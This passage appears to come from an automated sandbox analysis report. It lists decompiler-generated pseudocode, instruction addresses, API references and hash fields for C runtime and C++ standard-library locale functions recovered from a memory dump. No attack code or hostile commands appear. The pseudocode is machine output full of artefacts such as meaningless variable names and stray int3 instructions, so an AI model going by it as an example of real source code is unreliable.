				if(_a8 == 0) {
					goto L4;
				}
				 *_t31 = 0;
				if(_a12 == 0 || _a16 == 0) {
					goto L4;
				} else {
					_t35 =  *0x4f0014(_t53, 0, _a12, 0xffffffff, 0, 0);
					_v12 = _t35;
					if(_t35 != 0) {
						_t62 = E004B3009(_t53, _t35 + _t35);
						_t55 = _t61;
						if(_t62 != 0) {
							_push(_v12);
							_push(_t62);
							_push(0xffffffff);
							_push(_a12);
							_push(0);
							_push(_v8);
							if( *0x4f0014() != 0) {
								_t65 = E004B3009(_t55, _t64 + _t64);
								if(_t65 != 0) {
									_t43 = E004B0711(_t65, _a8, _t62, _a16, _a20, _a24);
									_v12 = _t43;
									if(_t43 != 0) {
										_push(0);
										_push(0);
										_push(_a8);
										_push(_a4);
										_push(0xffffffff);
										_push(_t65);
										_push(0);
										_push(_v8);
										if( *0x4f003c() != 0) {
											_t51 = _v12;
										} else {
											E004A9638( *0x4f0018());
										}
									}
								}
								E004B2FCF(_t65);
							} else {
								E004A9638( *0x4f0018());
							}
						}
						E004B2FCF(_t62);
					} else {
						E004A9638( *0x4f0018());
					}
					goto L18;
				}
			}

0x004acdad
0x004acdb5
0x004acdb7
0x004acdba
0x004acdbd
0x004acdc2
0x004acdd7
0x004acddc
0x004acde2
0x004aceb4
0x004aceb8
0x004acebd
0x004acebd
0x004acecb
0x004acecb
0x004acdc4
0x004acdc9
0x00000000
0x00000000
0x004acdcb
0x004acdd0
0x00000000
0x004acdec
0x004acdf5
0x004acdfb
0x004ace00
0x004ace1d
0x004ace1f
0x004ace22
0x004ace28
0x004ace2b
0x004ace2c
0x004ace2e
0x004ace31
0x004ace32
0x004ace3d
0x004ace56
0x004ace5b
0x004ace6b
0x004ace73
0x004ace78
0x004ace7a
0x004ace7b
0x004ace7c
0x004ace7f
0x004ace82
0x004ace84
0x004ace85
0x004ace86
0x004ace91
0x004acea2
0x004ace93
0x004ace9a
0x004ace9f
0x004ace91
0x004ace78
0x004acea6
0x004ace3f
0x004ace46
0x004ace46
0x004aceab
0x004acead
0x004ace02
0x004ace09
0x004ace0e
0x00000000
0x004ace00

APIs

__dosmaperr.LIBCMT ref: 004ACE09
__dosmaperr.LIBCMT ref: 004ACE46
__dosmaperr.LIBCMT ref: 004ACE9A
_free.LIBCMT ref: 004ACEA6
_free.LIBCMT ref: 004ACEAD

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __dosmaperr$_free
String ID:
API String ID: 242264518-0
Opcode ID: a5d9d9b3fafa77f5840adda4f11a551e84a5c9b1e7baef7c2983b9ee995455f2
Instruction ID: f39add106dbc1116281e3f0bc68ec0e706161369b66cd82ea2aadc2fc5e9eb24
Opcode Fuzzy Hash: a5d9d9b3fafa77f5840adda4f11a551e84a5c9b1e7baef7c2983b9ee995455f2
Instruction Fuzzy Hash: 8531B17280110ABFDF11AFA5DC85DFF3B68AF56325B10012AF91096291DB398D11DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00433006, Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00433006(void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t26;
				intOrPtr _t42;
				intOrPtr* _t55;
				intOrPtr* _t57;
				void* _t60;
				void* _t61;
				void* _t62;

				_t62 = __eflags;
				_push(0x10);
				E0049D93F(0x4c4f82, __edi, __esi);
				_t42 =  *((intOrPtr*)(_t60 + 8));
				E00488DEA(_t60 - 0x18, 0);
				 *(_t60 - 4) =  *(_t60 - 4) & 0x00000000;
				_t57 =  *0x4eeb54; // 0x14e9c30
				 *((intOrPtr*)(_t60 - 0x1c)) = _t57;
				_t26 = E0042B315(_t42, E0042B22E(0x4ef524, _t57, __esi, _t62));
				_t59 = _t26;
				if(_t26 != 0) {
					L6:
					 *(_t60 - 4) =  *(_t60 - 4) | 0xffffffff;
					E00488E42(_t60 - 0x18);
					return E0049D8E9(_t59, _t57, _t59);
				} else {
					if(_t57 == 0) {
						_push(_t42);
						_push(_t60 - 0x1c);
						__eflags = E0043331E(_t57, _t59, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							return E004332E7( *((intOrPtr*)(_t61 + 8)),  *((intOrPtr*)(_t61 + 8)));
						} else {
							_t59 =  *((intOrPtr*)(_t60 - 0x1c));
							 *((intOrPtr*)(_t60 - 0x14)) = 0;
							 *((intOrPtr*)(_t60 - 0x14)) = _t59;
							 *(_t60 - 4) = 1;
							E0048919D(_t59);
							 *((intOrPtr*)( *_t59 + 4))();
							 *0x4eeb54 = _t59;
							 *((intOrPtr*)(_t60 - 0x1c)) = 0;
							E0042FDE0(_t60 - 0x14, _t60 - 0x1c);
							 *(_t60 - 4) = 0;
							_t55 =  *((intOrPtr*)(_t60 - 0x14));
							__eflags = _t55;
							if(_t55 != 0) {
								 *((intOrPtr*)( *_t55))(1);
							}
							goto L6;
						}
					} else {
						_t59 = _t57;
						goto L6;
					}
				}
			}

0x00433006
0x00433006
0x0043300d
0x00433012
0x0043301a
0x0043301f
0x00433028
0x0043302e
0x00433039
0x0043303e
0x00433042
0x004330a2
0x004330a2
0x004330a9
0x004330b5
0x00433044
0x00433046
0x0043304f
0x00433050
0x00433058
0x0043305b
0x004330b6
0x004330bb
0x004330c9
0x0043305d
0x0043305d
0x00433062
0x00433065
0x00433068
0x0043306d
0x00433077
0x0043307d
0x00433087
0x0043308b
0x00433092
0x00433095
0x00433098
0x0043309a
0x004330a0
0x004330a0
0x00000000
0x0043309a
0x00433048
0x00433048
0x00000000
0x00433048
0x00433046

APIs

__EH_prolog3_GS.LIBCMT ref: 0043300D
std::_Lockit::_Lockit.LIBCPMT ref: 0043301A

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0043306D
std::_Lockit::~_Lockit.LIBCPMT ref: 004330A9
Concurrency::cancel_current_task.LIBCPMT ref: 004330B6

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: 47d17ada41617051c4e826c128848fcfaee918a060b064c64cdafa41d6349d30
Instruction ID: 07115667762014d115be0965e30639c84d16096a2aff31e3f5105c38e37937e2
Opcode Fuzzy Hash: 47d17ada41617051c4e826c128848fcfaee918a060b064c64cdafa41d6349d30
Instruction Fuzzy Hash: ED21D231E002099FCB04EFA6D5456AEB7B4AF08324F60412FE415AB282CB3C9E058B99

Uniqueness

Uniqueness Score: -1.00%

Function 00483AE0, Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00483AE0(void* __edi, void* __esi, void* __eflags) {
				void* _t47;
				intOrPtr _t56;
				intOrPtr* _t57;
				intOrPtr* _t74;
				intOrPtr* _t77;
				signed int _t79;
				intOrPtr* _t82;
				void* _t83;
				void* _t85;
				intOrPtr _t86;
				void* _t88;
				void* _t89;

				_t89 = __eflags;
				_push(0x10);
				E0049D93F(0x4c4f82, __edi, __esi);
				_t56 =  *((intOrPtr*)(_t85 + 8));
				E00488DEA(_t85 - 0x18, 0);
				 *(_t85 - 4) =  *(_t85 - 4) & 0x00000000;
				_t77 =  *0x4ef4c8;
				 *((intOrPtr*)(_t85 - 0x1c)) = _t77;
				_t82 = E0042B315(_t56, E0042B22E(0x4ed91c, _t77, __esi, _t89));
				if(_t82 != 0) {
					L6:
					 *(_t85 - 4) =  *(_t85 - 4) | 0xffffffff;
					E00488E42(_t85 - 0x18);
					return E0049D8E9(_t82, _t77, _t82);
				} else {
					if(_t77 == 0) {
						_push(_t56);
						_push(_t85 - 0x1c);
						__eflags = E0043D33F(_t77, _t82, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(_t56);
							_t57 =  *((intOrPtr*)(_t88 + 8));
							_push(_t85);
							_t86 =  *((intOrPtr*)(_t88 + 0x10));
							_push(_t82);
							_push(_t77);
							_t83 = 0;
							asm("stosd");
							asm("stosd");
							asm("stosd");
							asm("stosd");
							do {
								_t79 = 0;
								__eflags = 0;
								do {
									E004827FD(_t88 + 0x1c,  *_t57,  *((intOrPtr*)(_t86 + _t79 * 4)), _t88 + 0x1c, _t88 + 0x14);
									_t47 = E0048476F(_t79 + _t83,  *((intOrPtr*)(_t88 + 0x1c)),  *((intOrPtr*)(_t88 + 0x20)),  *((intOrPtr*)(_t88 + 0x18)), _t79 + _t83);
									_t79 = _t79 + 1;
									__eflags = _t79 - 2;
								} while (_t79 < 2);
								_t83 = _t83 + 1;
								_t57 = _t57 + 4;
								__eflags = _t83 - 2;
							} while (_t83 < 2);
							return _t47;
						} else {
							_t82 =  *((intOrPtr*)(_t85 - 0x1c));
							 *((intOrPtr*)(_t85 - 0x14)) = 0;
							 *((intOrPtr*)(_t85 - 0x14)) = _t82;
							 *(_t85 - 4) = 1;
							E0048919D(_t82);
							 *((intOrPtr*)( *_t82 + 4))();
							 *0x4ef4c8 = _t82;
							 *((intOrPtr*)(_t85 - 0x1c)) = 0;
							E0042FDE0(_t85 - 0x14, _t85 - 0x1c);
							 *(_t85 - 4) = 0;
							_t74 =  *((intOrPtr*)(_t85 - 0x14));
							__eflags = _t74;
							if(_t74 != 0) {
								 *((intOrPtr*)( *_t74))(1);
							}
							goto L6;
						}
					} else {
						_t82 = _t77;
						goto L6;
					}
				}
			}

0x00483ae0
0x00483ae0
0x00483ae7
0x00483aec
0x00483af4
0x00483af9
0x00483b02
0x00483b08
0x00483b18
0x00483b1c
0x00483b7c
0x00483b7c
0x00483b83
0x00483b8f
0x00483b1e
0x00483b20
0x00483b29
0x00483b2a
0x00483b32
0x00483b35
0x00483b90
0x00483b95
0x00483b96
0x00483b97
0x00483b9d
0x00483b9e
0x00483ba2
0x00483ba3
0x00483ba8
0x00483baa
0x00483bab
0x00483bac
0x00483bad
0x00483bae
0x00483bae
0x00483bae
0x00483bb0
0x00483bc0
0x00483bd7
0x00483bdc
0x00483bdd
0x00483bdd
0x00483be2
0x00483be3
0x00483be6
0x00483be6
0x00483bef
0x00483b37
0x00483b37
0x00483b3c
0x00483b3f
0x00483b42
0x00483b47
0x00483b51
0x00483b57
0x00483b61
0x00483b65
0x00483b6c
0x00483b6f
0x00483b72
0x00483b74
0x00483b7a
0x00483b7a
0x00000000
0x00483b74
0x00483b22
0x00483b22
0x00000000
0x00483b22
0x00483b20

APIs

__EH_prolog3_GS.LIBCMT ref: 00483AE7
std::_Lockit::_Lockit.LIBCPMT ref: 00483AF4

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 00483B47
std::_Lockit::~_Lockit.LIBCPMT ref: 00483B83
Concurrency::cancel_current_task.LIBCPMT ref: 00483B90

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: 27863822ff5fddab39fb780662e3abb8cd09823af2c3e27421d52e8f3e26a775
Instruction ID: 71df51e63383c82d6613613f72a55524ffaf3c518d96626f5c7c2fbd04fbbec9
Opcode Fuzzy Hash: 27863822ff5fddab39fb780662e3abb8cd09823af2c3e27421d52e8f3e26a775
Instruction Fuzzy Hash: 05219071E002199BCB05FFA5D5456AFB7B4EF08714F60056FE414AB2C2DB3C9E058B99

Uniqueness

Uniqueness Score: -1.00%

Function 0042FD2A, Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E0042FD2A(void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t26;
				intOrPtr _t41;
				intOrPtr* _t55;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t61;
				void* _t62;
				void* _t63;

				_t63 = __eflags;
				_push(0x10);
				E0049D93F(0x4c4f82, __edi, __esi);
				_t41 =  *((intOrPtr*)(_t61 + 8));
				E00488DEA(_t61 - 0x18, 0);
				 *(_t61 - 4) =  *(_t61 - 4) & 0x00000000;
				_t58 =  *0x4eeb4c; // 0x0
				 *((intOrPtr*)(_t61 - 0x1c)) = _t58;
				_t26 = E0042B315(_t41, E0042B22E(0x4ef51c, _t58, __esi, _t63));
				_t60 = _t26;
				if(_t26 != 0) {
					L6:
					 *(_t61 - 4) =  *(_t61 - 4) | 0xffffffff;
					E00488E42(_t61 - 0x18);
					return E0049D8E9(_t60, _t58, _t60);
				} else {
					if(_t58 == 0) {
						_push(_t41);
						_push(_t61 - 0x1c);
						__eflags = E00430074(_t58, _t60, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_t56 =  *((intOrPtr*)(_t62 + 4));
							 *_t56 =  *((intOrPtr*)( *((intOrPtr*)(_t62 + 8))));
							return  *_t56;
						} else {
							_t60 =  *((intOrPtr*)(_t61 - 0x1c));
							 *((intOrPtr*)(_t61 - 0x14)) = 0;
							 *((intOrPtr*)(_t61 - 0x14)) = _t60;
							 *(_t61 - 4) = 1;
							E0048919D(_t60);
							 *((intOrPtr*)( *_t60 + 4))();
							 *0x4eeb4c = _t60;
							_push(_t61 - 0x1c);
							 *((intOrPtr*)(_t61 - 0x1c)) = 0;
							_push(_t61 - 0x14);
							L8();
							 *(_t61 - 4) = 0;
							_t55 =  *((intOrPtr*)(_t61 - 0x14));
							__eflags = _t55;
							if(_t55 != 0) {
								 *((intOrPtr*)( *_t55))(1);
							}
							goto L6;
						}
					} else {
						_t60 = _t58;
						goto L6;
					}
				}
			}

0x0042fd2a
0x0042fd2a
0x0042fd31
0x0042fd36
0x0042fd3e
0x0042fd43
0x0042fd4c
0x0042fd52
0x0042fd5d
0x0042fd62
0x0042fd66
0x0042fdc6
0x0042fdc6
0x0042fdcd
0x0042fdd9
0x0042fd68
0x0042fd6a
0x0042fd73
0x0042fd74
0x0042fd7c
0x0042fd7f
0x0042fdda
0x0042fddf
0x0042fde0
0x0042fdec
0x0042fdee
0x0042fd81
0x0042fd81
0x0042fd86
0x0042fd89
0x0042fd8c
0x0042fd91
0x0042fd9b
0x0042fda1
0x0042fda7
0x0042fdab
0x0042fdae
0x0042fdaf
0x0042fdb6
0x0042fdb9
0x0042fdbc
0x0042fdbe
0x0042fdc4
0x0042fdc4
0x00000000
0x0042fdbe
0x0042fd6c
0x0042fd6c
0x00000000
0x0042fd6c
0x0042fd6a

APIs

__EH_prolog3_GS.LIBCMT ref: 0042FD31
std::_Lockit::_Lockit.LIBCPMT ref: 0042FD3E

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0042FD91
std::_Lockit::~_Lockit.LIBCPMT ref: 0042FDCD
Concurrency::cancel_current_task.LIBCPMT ref: 0042FDDA

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: b42b39c63098b4e66bb8208c3d7fb7bbe50a00d123d7e24f32644ba0a8f7bbd7
Instruction ID: 21837085d009165f1aa416735b22d1fa0337be0389476ff367f177046396bb4e
Opcode Fuzzy Hash: b42b39c63098b4e66bb8208c3d7fb7bbe50a00d123d7e24f32644ba0a8f7bbd7
Instruction Fuzzy Hash: 1B21DF31E0021A9FCB04EFA5E4456EEB7B4AF04714FA0412FE515AB2C2DB3C9E058F98

Uniqueness

Uniqueness Score: -1.00%

Function 0042FE86, Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E0042FE86(void* __edi, void* __esi, void* __eflags) {
				void* _t47;
				void* _t51;
				intOrPtr _t54;
				intOrPtr _t56;
				intOrPtr _t73;
				intOrPtr* _t74;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t98;
				intOrPtr* _t102;
				intOrPtr _t103;
				intOrPtr _t104;
				intOrPtr* _t107;
				void* _t111;
				intOrPtr _t112;
				void* _t114;
				void* _t115;
				void* _t116;

				_t116 = __eflags;
				_push(0x10);
				E0049D93F(0x4c4f82, __edi, __esi);
				_t73 =  *((intOrPtr*)(_t111 + 8));
				E00488DEA(_t111 - 0x18, 0);
				 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
				_t102 =  *0x4eeb48; // 0x14e2c80
				 *((intOrPtr*)(_t111 - 0x1c)) = _t102;
				_t107 = E0042B315(_t73, E0042B22E(0x4ef520, _t102, __esi, _t116));
				if(_t107 != 0) {
					L6:
					 *(_t111 - 4) =  *(_t111 - 4) | 0xffffffff;
					E00488E42(_t111 - 0x18);
					return E0049D8E9(_t107, _t102, _t107);
				} else {
					if(_t102 == 0) {
						_push(_t73);
						_push(_t111 - 0x1c);
						_t47 = E0042FFF2(_t102, _t107, __eflags);
						_pop(_t82);
						__eflags = _t47 - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(_t82);
							_push(_t82);
							_push(_t73);
							_t74 = _t82;
							_t83 =  *((intOrPtr*)(_t114 + 0x10));
							_push(_t111);
							_t112 =  *((intOrPtr*)(_t74 + 0x10));
							__eflags = 0x7fffffff - _t112 - _t83;
							if(0x7fffffff - _t112 < _t83) {
								_t51 = E0042E4E6(_t83);
								asm("int3");
								_push(_t83);
								return E0042DAA0(_t51,  *_t83,  *((intOrPtr*)(_t83 + 4)));
							} else {
								_push(_t107);
								_push(_t102);
								_t103 = _t83 + _t112;
								 *((intOrPtr*)(_t114 + 0x18)) =  *((intOrPtr*)(_t74 + 0x14));
								_t54 = E0042EEEA(_t103,  *((intOrPtr*)(_t74 + 0x14)), 0x7fffffff);
								_t89 =  ~(__eflags > 0) | _t54 + 0x00000001;
								_t56 = E0042DA11( ~(__eflags > 0) | _t54 + 0x00000001);
								_t115 = _t114 + 0x10;
								 *((intOrPtr*)(_t74 + 0x10)) = _t103;
								_t104 =  *((intOrPtr*)(_t115 + 0x14));
								 *((intOrPtr*)(_t115 + 0x10)) = _t56;
								 *((intOrPtr*)(_t74 + 0x14)) = _t54;
								_push( *((intOrPtr*)(_t115 + 0x2c)));
								_push( *((intOrPtr*)(_t115 + 0x2c)));
								_push( *((intOrPtr*)(_t115 + 0x2c)));
								_push(_t112);
								__eflags = _t104 - 0x10;
								if(_t104 < 0x10) {
									_push(_t74);
									_push(_t56);
									E0042FBD5();
									E0042DA04(_t74, _t115 + 0x10);
								} else {
									_push( *_t74);
									_push(_t56);
									E0042FBD5();
									E0042DA33(_t89,  *_t74, _t104 + 1);
									 *_t74 =  *((intOrPtr*)(_t115 + 0x18));
								}
								return _t74;
							}
						} else {
							_t107 =  *((intOrPtr*)(_t111 - 0x1c));
							 *((intOrPtr*)(_t111 - 0x14)) = 0;
							 *((intOrPtr*)(_t111 - 0x14)) = _t107;
							 *(_t111 - 4) = 1;
							E0048919D(_t107);
							 *((intOrPtr*)( *_t107 + 4))();
							 *0x4eeb48 = _t107;
							 *((intOrPtr*)(_t111 - 0x1c)) = 0;
							E0042FDE0(_t111 - 0x14, _t111 - 0x1c);
							 *(_t111 - 4) = 0;
							_t98 =  *((intOrPtr*)(_t111 - 0x14));
							__eflags = _t98;
							if(_t98 != 0) {
								 *((intOrPtr*)( *_t98))(1);
							}
							goto L6;
						}
					} else {
						_t107 = _t102;
						goto L6;
					}
				}
			}

0x0042fe86
0x0042fe86
0x0042fe8d
0x0042fe92
0x0042fe9a
0x0042fe9f
0x0042fea8
0x0042feae
0x0042febe
0x0042fec2
0x0042ff22
0x0042ff22
0x0042ff29
0x0042ff35
0x0042fec4
0x0042fec6
0x0042fecf
0x0042fed0
0x0042fed1
0x0042fed7
0x0042fed8
0x0042fedb
0x0042ff36
0x0042ff3b
0x0042ff3c
0x0042ff3d
0x0042ff3e
0x0042ff3f
0x0042ff46
0x0042ff4c
0x0042ff4d
0x0042ff52
0x0042ff54
0x0042ffdf
0x0042ffe4
0x0042ffe8
0x0042fff1
0x0042ff5a
0x0042ff5d
0x0042ff5e
0x0042ff60
0x0042ff63
0x0042ff69
0x0042ff7a
0x0042ff7d
0x0042ff82
0x0042ff85
0x0042ff88
0x0042ff8c
0x0042ff90
0x0042ff93
0x0042ff97
0x0042ff9b
0x0042ff9f
0x0042ffa0
0x0042ffa3
0x0042ffc0
0x0042ffc1
0x0042ffc2
0x0042ffcd
0x0042ffa5
0x0042ffa7
0x0042ffa8
0x0042ffa9
0x0042ffb3
0x0042ffbc
0x0042ffbc
0x0042ffdc
0x0042ffdc
0x0042fedd
0x0042fedd
0x0042fee2
0x0042fee5
0x0042fee8
0x0042feed
0x0042fef7
0x0042fefd
0x0042ff07
0x0042ff0b
0x0042ff12
0x0042ff15
0x0042ff18
0x0042ff1a
0x0042ff20
0x0042ff20
0x00000000
0x0042ff1a
0x0042fec8
0x0042fec8
0x00000000
0x0042fec8
0x0042fec6

APIs

__EH_prolog3_GS.LIBCMT ref: 0042FE8D
std::_Lockit::_Lockit.LIBCPMT ref: 0042FE9A

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0042FEED
std::_Lockit::~_Lockit.LIBCPMT ref: 0042FF29
Concurrency::cancel_current_task.LIBCPMT ref: 0042FF36

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$H_prolog3_Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2687776920-0
Opcode ID: e1fe4d562fe0ae853163a3da7a14a0b384e572139f5f4e73f70563a75e3870c3
Instruction ID: 81ea1123f81f8e3d168c477dc80079d897b05023751513951002d9ccbf9808e8
Opcode Fuzzy Hash: e1fe4d562fe0ae853163a3da7a14a0b384e572139f5f4e73f70563a75e3870c3
Instruction Fuzzy Hash: A121F331E0021A9FDB04EFA595456AEB774AF04314FA0013FF411AB282DF385E068B98

Uniqueness

Uniqueness Score: -1.00%

Function 0048BAE8, Relevance: 7.6, APIs: 5, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0048BAE8(void* __ecx, intOrPtr _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				short _t28;
				void* _t29;
				void* _t31;
				intOrPtr _t32;

				_t32 = _a8;
				_t31 = __ecx;
				_t3 = _t31 + 0x2c; // 0x2c
				_t29 = _t3;
				if( *((char*)(__ecx + 0x28)) == 0) {
					_t5 = _t32 + 0x10; // 0x1c4689c0
					_t17 =  *_t5;
				} else {
					_t4 = _t32 + 0xc; // 0xbe0f2947
					_t17 =  *_t4;
				}
				 *((intOrPtr*)(_t31 + 0x10)) = E0048BD4A(_t29, _t31, _t32, _t17, 0, _t29);
				_t19 = 0x40f063;
				if( *((char*)(_t32 + 0x2e)) <= 4) {
					_t8 = _t32 + 0x20; // 0x47be0f00
					_t19 =  *_t8;
				}
				 *((intOrPtr*)(_t31 + 0x14)) = E0048BD4A(_t29, _t31, _t32, _t19, 0, _t29);
				_t21 = 0x41608c;
				if( *((char*)(_t32 + 0x2f)) <= 4) {
					_t11 = _t32 + 0x24; // 0x205e8d2e
					_t21 =  *_t11;
				}
				 *((intOrPtr*)(_t31 + 0x18)) = E0048BD4A(_t29, _t31, _t32, _t21, 0, _t29);
				_t13 = _t32 + 0x14; // 0x578c085
				 *((short*)(_t31 + 0xc)) = E0048BD19( *( *_t13) & 0x000000ff, 0, _t29);
				_t15 = _t32 + 0x18; // 0x7c7ff883
				_t28 = E0048BD19( *( *_t15) & 0x000000ff, 0, _t29);
				 *((short*)(_t31 + 0xe)) = _t28;
				return _t28;
			}

0x0048baed
0x0048baf1
0x0048baf7
0x0048baf7
0x0048bafa
0x0048bb01
0x0048bb01
0x0048bafc
0x0048bafc
0x0048bafc
0x0048bafc
0x0048bb0d
0x0048bb17
0x0048bb1c
0x0048bb1e
0x0048bb1e
0x0048bb1e
0x0048bb2a
0x0048bb34
0x0048bb39
0x0048bb3b
0x0048bb3b
0x0048bb3b
0x0048bb47
0x0048bb4a
0x0048bb59
0x0048bb5d
0x0048bb67
0x0048bb6f
0x0048bb77

APIs

_Maklocstr.LIBCPMT ref: 0048BB08
_Maklocstr.LIBCPMT ref: 0048BB25
_Maklocstr.LIBCPMT ref: 0048BB42
_Maklocchr.LIBCPMT ref: 0048BB54
_Maklocchr.LIBCPMT ref: 0048BB67

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 34cf90e3e3148004189a13a579c1e3bce355c5396e48280923d2bbe1d94db65f
Instruction ID: 1ab497323cbdf39865de47dc4c966775a270c3ec26ced47c98b89d2a594a10ce
Opcode Fuzzy Hash: 34cf90e3e3148004189a13a579c1e3bce355c5396e48280923d2bbe1d94db65f
Instruction Fuzzy Hash: 7B118CB1500744BFE720EBA59881F17B7ECEB09318F04491AF1448BA41D379F85587E9

Uniqueness

Uniqueness Score: -1.00%

Function 0048C5E6, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C5E6(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v212;
				signed int _t225;
				void* _t417;
				short* _t601;
				void* _t656;
				signed int _t658;
				signed int _t659;
				signed int _t660;
				signed int _t661;
				signed int _t662;
				signed int _t663;
				signed int _t664;
				signed int _t665;
				signed int _t666;
				signed int _t667;
				signed int _t668;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				signed int _t672;
				signed int _t673;
				signed int _t674;
				void* _t675;
				signed int _t676;
				signed int _t677;
				signed int _t678;
				signed int _t679;
				signed int _t680;
				signed int _t681;
				signed int _t682;
				signed int _t683;
				signed int _t684;
				signed int _t685;
				signed int _t686;
				signed int _t687;
				signed int _t688;
				signed int _t689;
				signed int _t690;
				signed int _t691;
				signed int _t692;
				signed int _t693;
				short* _t694;
				void* _t717;
				void* _t718;

				_push(8);
				E0049D90B(0x4d6966, _t656, _t675);
				E00488DEA( &_v20, 0);
				_t676 =  *0x4ede14; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t676;
				_t225 = E0042B315(_a8, E0042B22E(0x4eddb8, _t656, _t676, _t718));
				_t657 = _t225;
				if(_t225 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t657);
				} else {
					if(_t676 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E0B5(_t657, _t676, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t657, _t676);
							E00488DEA( &_v20, 0);
							_t677 =  *0x4edde4; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t677;
							_t658 = E0042B315(_a8, E0042B22E(0x4edd90, _t657, _t677, __eflags));
							__eflags = _t658;
							if(_t658 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t658);
							} else {
								__eflags = _t677;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E11D(_t658, _t677, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t658, _t677);
										E00488DEA( &_v20, 0);
										_t678 =  *0x4ede18; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t678;
										_t659 = E0042B315(_a8, E0042B22E(0x4eddbc, _t658, _t678, __eflags));
										__eflags = _t659;
										if(_t659 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t659);
										} else {
											__eflags = _t678;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E185(_t659, _t678, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t659, _t678);
													E00488DEA( &_v20, 0);
													_t679 =  *0x4edde8; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t679;
													_t660 = E0042B315(_a8, E0042B22E(0x4edd94, _t659, _t679, __eflags));
													__eflags = _t660;
													if(_t660 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t660);
													} else {
														__eflags = _t679;
														if(__eflags == 0) {
															_push(_a8);
